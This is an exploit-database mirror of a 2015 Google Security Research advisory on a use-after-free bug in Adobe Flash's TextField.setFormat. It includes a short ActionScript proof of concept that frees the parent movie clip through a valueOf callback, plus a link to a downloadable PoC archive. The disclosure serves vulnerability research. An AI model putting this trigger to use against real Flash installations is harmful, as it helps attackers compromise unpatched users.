Adobe Flash TextField.setFormat – Use-After-Free

  • 作者: Google Security Research
    日期: 2015-12-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39046/
  • Source: https://code.google.com/p/google-security-research/issues/detail?id=586
    
    The TextField setFormat method contains a use-after-free. If an integer parameter has valueOf defined, or the object parameter overrides a constructor, this method can free the TextField parent, which is subsequently used.
    
    A minimal PoC is as follows:
    
    var times = 0;
    var mc = this.createEmptyMovieClip("mc", 101);
    var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
    var f = new TextFormat();
    tf.setFormat( {valueOf : func}, 2, f);
    
    function func(){
    
    if(times == 0){
     times++;
     return 0;
    
     }
    
    	mc.removeMovieClip();
    
    // Fix heap here
    
    	return 0;
    	
    	}
    
    A sample swf and fla are attached.
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39046.zip